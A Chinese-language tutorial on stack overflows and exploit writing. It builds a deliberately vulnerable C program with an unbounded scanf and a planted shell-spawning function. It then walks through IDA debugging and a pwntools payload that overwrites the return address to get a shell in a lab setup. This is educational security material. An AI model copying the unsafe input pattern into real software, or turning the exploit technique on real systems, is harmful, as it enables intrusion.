您好,登錄后才能下訂單哦!
本篇內容介紹了“如何理解棧溢出原理以及EXP的編寫”的有關知識,在實際案例的操作過程中,不少人都會遇到這樣的困境,接下來就讓小編帶領大家學習一下如何處理這些情況吧!希望大家仔細閱讀,能夠學有所成!
稍微懂點C和匯編,這個例子人人都能上手,簡單說,有手就行。貼出我們本次實驗要使用的C代碼,解釋的方式我都用注釋來進行:
//stack_overflow.c #include <stdio.h> // 這是存在棧溢出的函數 void stack_overflow() { char buf[64] = {0}; scanf("%s", &buf); //將輸入的數據讀入buf中 printf("Hello %s\n", &buf); //打印出buf中的內容 } // 為了方便實驗這里留下一個后門函數 void get_shell() { system("/bin/sh"); } // 程序入口 void main() { stack_overflow(); }
分析一下,上邊代碼存在棧溢出的部分在`scanf()`函數,因為buf是在棧空間中的,buf是分配了64個字節但是卻沒有限制輸入的長度。
既然是棧溢出,那么我相信大家都有一定的基礎吧,起碼了解下什么是棧。首先最重要的是,我們要知道為什么會有棧的存在,這要從函數的發明說起,感興趣的可以查閱一下wiki。棧的用途之一就是為了存儲局部變量,那么上層函數的返回地址也存儲在棧中。
代碼寫好了,我們先來編譯運行一下
[root@localhost pwn]# gcc stack_overflow.c -o stack_overflow [root@localhost pwn]# ./stack_overflow stack_overflow Hello stack_overflow
好,結果簡簡單單,輸入一個字符串,然后輸出。那么我們打開宿主機的IDA,把我們編譯好的程序拖進IDA,然后在stack_overflow的地方下好斷點
接下來將IDA安裝目錄的linux_server拷貝到centOS上,運行起來
[root@localhost pwn]# ./linux_server IDA Linux 32-bit remote debug server(ST) v1.22. Hex-Rays (c) 2004-2017 Listening on 0.0.0.0:23946...
到IDA中,選擇 "Debugger" --> "Select debugger";然后選”Remote Linux debugger“,點擊“OK”;點擊“Debugger” --> "Process options...";Hostname填入centOS的IP,Port默認是23946;其他的默認,然后我們按“F9”開始調試
我們繼續往下走,直到輸入`AAAAAA`之后
那么到這里,思路來了,因為上邊那個程序沒有對輸入的長度做校驗,對于上邊那個程序我們要做的就是計算好輸入的長度,然后將后門地址填充到返回的地址,計算一下輸入的地址距離buf地址的長度`0xBF8C17BC-0xBF8C1770`等于`0x4C`所以接下來思路就很明確了,我們填充0x4C個字符后,再填入后門的地址。
緊接著第一次調試,這次調試我們使用pwntools接管程序的輸入輸出。首先,我們在centOS上使用socat將輸入輸出轉發到9999端口:
[root@localhost pwn]# socat tcp-listen:9999,reuseaddr,fork EXEC:./stack_overflow,pty,raw,echo=0
[root@localhost pwn]# socat tcp-listen:9999,reuseaddr,fork EXEC:./stack_overflow,pty,raw,echo=0
然后我們用pwntools連接下:
? ~ python3 Python 3.7.4 (default, Sep 7 2019, 17:46:28) [Clang 10.0.1 (clang-1001.0.46.4)] on darwin Type "help", "copyright", "credits" or "license" for more information. >>> from pwn import * >>> io = remote('172.16.177.134', 9999) [x] Opening connection to 172.16.177.134 on port 9999 [x] Opening connection to 172.16.177.134 on port 9999: Trying 172.16.177.134 [+] Opening connection to 172.16.177.134 on port 9999: Done
此時已經連接成功,stack_overflow程序也已經跑起來了;返回IDA,我們在scanf的下一句匯編下好斷點;然后選擇"Debugger" --> "Attach to process...",選擇運行起來的stack_overflow;點擊"OK";然后再按下"F9",讓程序跑起來
在Python中,我們繼續,發送我們輸入的數據,記得要發送一個回車,也可以用sendline()函數,自帶回車:
>>> payload = b'A'*0x4c + p32(0x0804848e) >>> io.send(payload) >>> io.send('\n')
接下來IDA斷下了,我們繼續往下步過,到retn,我們發現即將跳轉到get_shell()這里。
接下來我就不一一調試了,感興趣的同學可以繼續往下跟,這里我直接`F9`,然后使用pwntools進入命令行的交互模式,為了讓大家有點感覺`:)`,我這里加了一個flag.txt:
>>> io.interactive() [*] Switching to interactive mode Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?? ls flag.txt linux_server stack_overflow stack_overflow.c cat flag.txt flag{Y0u_Win_by_ATL_TEAM}
每次調試完完記得io.close(),不然會出現很多stack_overflow的程序。
綜合上述,那么EXP應該這樣寫
#!/usr/bin/env python3 # -*- coding: utf-8 -*- from pwn import * io = remote('172.16.177.134', 9999) payload = b'A'*0x4C + p32(0x08048475) io.sendline(payload) io.interactive() io.close()
“如何理解棧溢出原理以及EXP的編寫”的內容就介紹到這里了,感謝大家的閱讀。如果想了解更多行業相關的知識可以關注億速云網站,小編將為大家輸出更多高質量的實用文章!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。